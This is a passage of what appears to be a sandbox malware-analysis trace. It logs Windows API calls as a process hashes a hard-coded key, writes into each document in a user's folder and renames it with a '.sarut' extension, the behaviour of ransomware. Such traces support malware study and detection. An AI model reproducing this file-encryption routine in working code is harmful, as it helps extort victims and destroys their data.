dwFlags=0x0) returned 1 [0268.625] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.625] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.625] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.625] GetLastError () returned 0x0 [0268.625] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.625] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.625] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.625] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4ac0) returned 0x311d708 [0268.625] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.625] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.625] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x4aba, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x4aba, lpOverlapped=0x0) returned 1 [0268.625] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.625] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4abf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.625] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.626] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.626] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.626] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.626] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.626] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.626] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.626] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.626] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.626] CloseHandle (hObject=0x5c4) returned 1 [0268.627] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.627] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0268.627] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.627] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mSBpETwT0_vcERkN.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msbpetwt0_vcerkn.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mSBpETwT0_vcERkN.odp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msbpetwt0_vcerkn.odp.sarut")) returned 1 [0268.628] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.628] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.629] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.629] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0268.629] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.629] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30824e0 [0268.629] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfc) returned 0x3072980 [0268.629] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.629] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x3115840 [0268.629] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x31158a8 [0268.629] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x3115b80 [0268.629] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.629] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0268.629] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0268.629] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1858 | out: hHeap=0x640000) returned 1 [0268.629] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0268.629] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff17f0 | out: hHeap=0x640000) returned 1 [0268.629] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0268.629] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa50e8 | out: hHeap=0x640000) returned 1 [0268.629] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3056730 | out: hHeap=0x640000) returned 1 [0268.629] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30825d0 [0268.630] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30824e0 | out: hHeap=0x640000) returned 1 [0268.630] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.630] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0268.630] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.630] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30824e0 [0268.630] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082648 [0268.630] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30824e0 | out: hHeap=0x640000) returned 1 [0268.630] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.630] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0268.630] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0268.630] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf12a6f50, ftCreationTime.dwHighDateTime=0x1d4c6b4, ftLastAccessTime.dwLowDateTime=0x9d9ac080, ftLastAccessTime.dwHighDateTime=0x1d4ca31, ftLastWriteTime.dwLowDateTime=0x9d9ac080, ftLastWriteTime.dwHighDateTime=0x1d4ca31, nFileSizeHigh=0x0, nFileSizeLow=0x62d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="N-K3DozDdSgAnSFGZTgY.xlsx", cAlternateFileName="N-K3DO~1.XLS")) returned 1 [0268.630] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\N-K3DozDdSgAnSFGZTgY.xlsx") returned=".xlsx" [0268.630] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\N-K3DozDdSgAnSFGZTgY.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\n-k3dozddsgansfgztgy.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.633] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=25296) returned 1 [0268.633] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.636] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x62aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.636] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.637] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x62d0, lpOverlapped=0x0) returned 1 [0268.638] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.638] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.638] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.638] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.639] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.639] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.639] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.639] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.639] GetLastError () returned 0x0 [0268.639] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.639] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.640] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x62d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.640] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.640] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.640] CloseHandle (hObject=0x5c4) returned 1 [0268.646] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\N-K3DozDdSgAnSFGZTgY.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\n-k3dozddsgansfgztgy.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\N-K3DozDdSgAnSFGZTgY.xlsx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\n-k3dozddsgansfgztgy.xlsx.sarut")) returned 1 [0268.648] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x515581f0, ftCreationTime.dwHighDateTime=0x1d4cc08, ftLastAccessTime.dwLowDateTime=0xe7664ea0, ftLastAccessTime.dwHighDateTime=0x1d4c92d, ftLastWriteTime.dwLowDateTime=0xe7664ea0, ftLastWriteTime.dwHighDateTime=0x1d4c92d, nFileSizeHigh=0x0, nFileSizeLow=0x9deb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NX4iP.ppt", cAlternateFileName="")) returned 1 [0268.648] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NX4iP.ppt") returned=".ppt" [0268.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NX4iP.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nx4ip.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.648] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=40427) returned 1 [0268.648] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.651] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x9dc5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.651] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.653] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x9deb, lpOverlapped=0x0) returned 1 [0268.653] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.653] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.653] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.653] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.654] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.654] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.654] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.655] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.655] GetLastError () returned 0x0 [0268.655] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.655] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.655] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x9deb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.655] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.655] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.655] CloseHandle (hObject=0x5c4) returned 1 [0268.660] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NX4iP.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nx4ip.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NX4iP.ppt.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nx4ip.ppt.sarut")) returned 1 [0268.662] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x124d6cf0, ftCreationTime.dwHighDateTime=0x1d4c8ef, ftLastAccessTime.dwLowDateTime=0x65e3a080, ftLastAccessTime.dwHighDateTime=0x1d4c798, ftLastWriteTime.dwLowDateTime=0x65e3a080, ftLastWriteTime.dwHighDateTime=0x1d4c798, nFileSizeHigh=0x0, nFileSizeLow=0x18f1a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="O2S3Yxp w.pptx", cAlternateFileName="O2S3YX~1.PPT")) returned 1 [0268.662] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\O2S3Yxp w.pptx") returned=".pptx" [0268.662] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\O2S3Yxp w.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o2s3yxp w.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.663] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=102170) returned 1 [0268.664] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.666] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.666] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.668] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x18f1a, lpOverlapped=0x0) returned 1 [0268.669] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.669] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.669] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.669] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.670] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.670] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.670] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.670] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.670] GetLastError () returned 0x0 [0268.671] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.671] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.672] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18f1a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.672] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.672] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.672] CloseHandle (hObject=0x5c4) returned 1 [0268.676] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\O2S3Yxp w.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o2s3yxp w.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\O2S3Yxp w.pptx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o2s3yxp w.pptx.sarut")) returned 1 [0268.681] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0268.681] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a38310, ftCreationTime.dwHighDateTime=0x1d4cf88, ftLastAccessTime.dwLowDateTime=0xa3a970a0, ftLastAccessTime.dwHighDateTime=0x1d4c6c3, ftLastWriteTime.dwLowDateTime=0xa3a970a0, ftLastWriteTime.dwHighDateTime=0x1d4c6c3, nFileSizeHigh=0x0, nFileSizeLow=0x80ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qi4IqurK09.ods", cAlternateFileName="QI4IQU~1.ODS")) returned 1 [0268.681] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qi4IqurK09.ods") returned=".ods" [0268.681] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qi4IqurK09.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qi4iqurk09.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.682] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=32939) returned 1 [0268.682] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.684] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8085, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.684] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.686] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.686] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x80ab, lpOverlapped=0x0) returned 1 [0268.687] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.687] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.687] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.687] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.688] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.688] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.688] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.688] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.688] GetLastError () returned 0x0 [0268.688] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.688] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.689] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x80ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.689] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.689] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, 